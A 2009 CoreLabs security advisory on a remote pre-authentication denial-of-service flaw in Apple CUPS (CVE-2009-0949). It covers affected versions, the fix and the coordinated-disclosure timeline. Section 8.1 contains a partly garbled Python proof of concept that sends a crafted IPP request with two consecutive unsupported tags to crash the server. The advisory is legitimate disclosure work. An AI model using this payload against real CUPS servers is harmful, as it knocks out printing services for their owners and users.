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Core Security Technologies - CoreLabs Advisory
Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability
1. *Advisory Information*
Title: Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability
Advisory ID: CORE-2009-0420
Date published: 2009-06-02
Date of last update: 2009-06-01
Vendors contacted: Apple Computer Inc.
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 35169
CVE Name: CVE-2009-0949
3. *Vulnerability Description*
CUPS  provides a portable printing layer for UNIX based operating
systems. It was developed by Easy Software Products and it is now owned
and maintained by Apple Computer Inc. to promote a standard printing
solution. It is the standard open source printing system for Mac OS X
and other UNIX-like operating systems.
A flaw has been identified in CUPS, when handling the
'IPP_TAG_UNSUPPORTED' tag, which could be exploited by attackers to
cause a remote pre-authentication denial of service.
4. *Vulnerable packages*
. CUPS 1.1.17
. CUPS 1.1.23
. CUPS 1.3.6
. CUPS 1.3.7
. CUPS 1.3.8
. CUPS 1.3.9
. Earlier versions may also be affected, but were not checked.
5. *Non-vulnerable packages*
. CUPS 1.3.10
6. *Vendor Information, Solutions and Workarounds*
This flaw was fixed in Mac OS X 10.5.7 by updating CUPS to 1.3.10. Apple
team intends to fix it on Mac OS X 10.4 in a future update. All CUPS
users should upgrade the software to 1.3.10.
This vulnerability was discovered and researched by Anibal Sacco from
the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.
8. *Technical Description / Proof of Concept Code*
This vulnerability identified in CUPS is caused by a bad 'ip' structure
initialization in the function 'ippReadIO()', located in 'cups/ipp.c',
when processing a specially crafted IPP (Internet Printing Protocol)
with two consecutives 'IPP_TAG_UNSUPPORTED' tags. This flaw could be
exploited by attackers to crash the affected application.
At 'ipp.c' the function 'ippReadIO()' is in charge of the initialization
of the 'ipp' structure, that represent the different tags of the current
IPP request packet.
1016 ipp_state_t /* O - Current state */
1017 ippReadIO(void *src, /* I - Data source */
1018 ipp_iocb_t cb, /* I - Read callback function */
1019 int blocking, /* I - Use blocking IO? */
1020 ipp_t *parent, /* I - Parent request, if any */
1021 ipp_t *ipp) /* I - IPP data */
1023 int n; /* Length of data */
1024 unsigned char buffer[IPP_MAX_LENGTH + 1],
1025 /* Data buffer */
1027 /* Small string buffer */
1028 *bufptr; /* Pointer into buffer */
1029 ipp_attribute_t *attr; /* Current attribute */
1030 ipp_tag_t tag; /* Current tag */
1031 ipp_tag_t value_tag; /* Current value tag */
1032 ipp_value_t *value; /* Current value */
1035 DEBUG_printf(("ippReadIO(%p, %p, %d, %p, %p)\n", src, cb, blocking,
1036 parent, ipp));
1037 DEBUG_printf(("ippReadIO: ipp->state=%d\n", ipp->state));
1039 if (src == NULL || ipp == NULL)
1040 return (IPP_ERROR);
1042 switch (ipp->state)
1044 case IPP_IDLE :
1045 ipp->state ++; /* Avoid common problem... */
1047 case IPP_HEADER :
1048 if (parent == NULL)
As we can see in the code above, the packets can count with a few
different tag attributes.
When an 'IPP' packet is sent with a tag attribute lower than 0x10, it is
considered by CUPS as an 'IPP_TAG_UNSUPPORTED' tag:
else if (tag < IPP_TAG_UNSUPPORTED_VALUE)
* Group tag... Set the current group and continue...
if (ipp->curtag == tag)
ipp->prev = ippAddSeparator(ipp);
else if (ipp->current)
ipp->prev = ipp->current;
ipp->curtag = tag;
ipp->current = NULL;
DEBUG_printf(("ippReadIO: group tag = %x, ipp->prev=%p\n", tag,
Because of the way that CUPS handles this kind of tags, if a packet
contains two consecutives 'IPP_TAG_UNSUPPORTED', the last node of the
IPP structure will be initialized as 'NULL'.
This will lead to a crash when the 'cupsdProcessIPPRequest' function
tries to read the 'name' field of the 'attr' structure.
* 'cupsdProcessIPPRequest()' - Process an incoming IPP request.
int /* O - 1 on success, 0 on
cupsdProcessIPPRequest( cupsd_client_t *con) /* I - Client connection */
* Then make sure that the first three attributes are:
attr = con->request->attrs;
if (attr && !strcmp(attr->name, "attributes-charset") &&
(attr->value_tag & IPP_TAG_MASK) == IPP_TAG_CHARSET)
charset = attr;
charset = NULL;
8.1. *Proof of Concept*
The following Python script is the proof of concept written by Anibal
Sacco to trigger the vulnerability.
from struct import pack
Little class to implement a basic Internet Printing Protocol
def __init__(self, host, port, printers, hpgl_data="a"):
self.printers = printers
self.host = host
self.port = port
self.hpgl_data = hpgl_data
def attribute(self, tag, name, value):
data = pack('>B',tag)
data += pack('>H',len(name))
data += name
data += pack('>H',len(value))
data += value
http_request = "POST /printers/%s HTTP/1.1\r\n" % self.printers
http_request += "Content-Type: application/ipp\r\n"
http_request += "User-Agent: Internet Print Provider\r\n"
http_request += "Host: %s\r\n" % self.host
http_request += "Content-Length: %d\r\n" % len(self.ipp_data)
http_request += "Connection: Keep-Alive\r\n"
http_request += "Cache-Control: no-cache\r\n"
operation_attr = self.attribute(0x47, 'attributes-charset',
operation_attr += self.attribute(0x48,
operation_attr += self.attribute(0x45, 'printer-uri',
"http://%s:%s/printers/%s" % (self.host, self.port, self.printers))
operation_attr += self.attribute(0x42, 'job-name', 'foo barrrrrrrr')
operation_attr += self.attribute(0x42, 'document-format',
self.ipp_data = "\x01\x00" # version-number: 1.0
self.ipp_data += "\x00\x02" # operation-id: Print-job
self.ipp_data += "\x00\x00\x00\x01" # request-id: 1
self.ipp_data += "\x01" # operation-attributes-tag
self.ipp_data += "\x0f\x0f"
# self.ipp_data += operation_attr
self.ipp_data += "\x02" # job-attributes-tag
self.ipp_data += "\x03" # end-of-attributes-tag
self.ipp_data += self.hpgl_data;
printer = sys.argv
host = sys.argv
print "[+] Usage: exploit printer_name host"
data = "A"*100
ipp = IppRequest(host,"80", printer, data)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to the host"
#requests = ipp.get_http_request()
#for each in requests:
print "[+] Sending request"
print "[+] Sending ipp data"
print "Response:%s" % s.recv(1024)
if __name__ == "__main__":
9. *Report Timeline*
Core Security Technologies notifies the Apple Product Security Team of
the vulnerability and announces its initial plan to publish the advisory
on May 20th, 2009. Technical details and Proof of Concept (PoC) are sent
to Apple Security Team.
The vendor acknowledges reception of the technical report and PoC.
Core reminds Apple Security Team its initial plan to publish the
advisory on May 20th, and asks the confirmation that patches will be
released by then.
Core notifies Apple Security Team that this is a multi-vendor issue
(affecting, for example, multiple Linux distributions), and asks if the
patch process of the CUPS vulnerability will be coordinated using the
vendor-sec mailing list .
Apple Product Security Team notifies Core they will contact vendor-sec
about this issue very soon and proposes to reschedule the advisory
publication date to June 2nd. The vendor also notifies the issue was
addressed in Mac OS X 10.5.7 by updating CUPS to version 1.3.10.
Apple Product Security Team notifies the suggested fix would be to
update to CUPS 1.3.10.
The Red Hat Security Response Team informs (via vendor-sec) CUPS 1.1.17
is the oldest version they still ship and it is affected too. This issue
will probably affect even earlier CUPS versions too.
The Debian Team informs (via vendor-sec) there is a bug in the PoC
provided by Core. The advisory PoC is changed according to the comments
made by Debian Team.
Core notifies that the advisory is going to be released on June 2nd, and
requests a confirmation from Apple Security Team and vendor-sec
Apple Security Team, Red Hat Security Response Team and Debian Team
confirm the proposed release date. There was no request for embargo date
shift posted to vendor-sec.
The advisory CORE-2009-0420 is published.
 Vendor-sec, a mailing list dedicated to distributors of operating
systems using (but not necessarily solely comprised of) free and
11. *About CoreLabs*
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
12. *About Core Security Technologies*
Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
14. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
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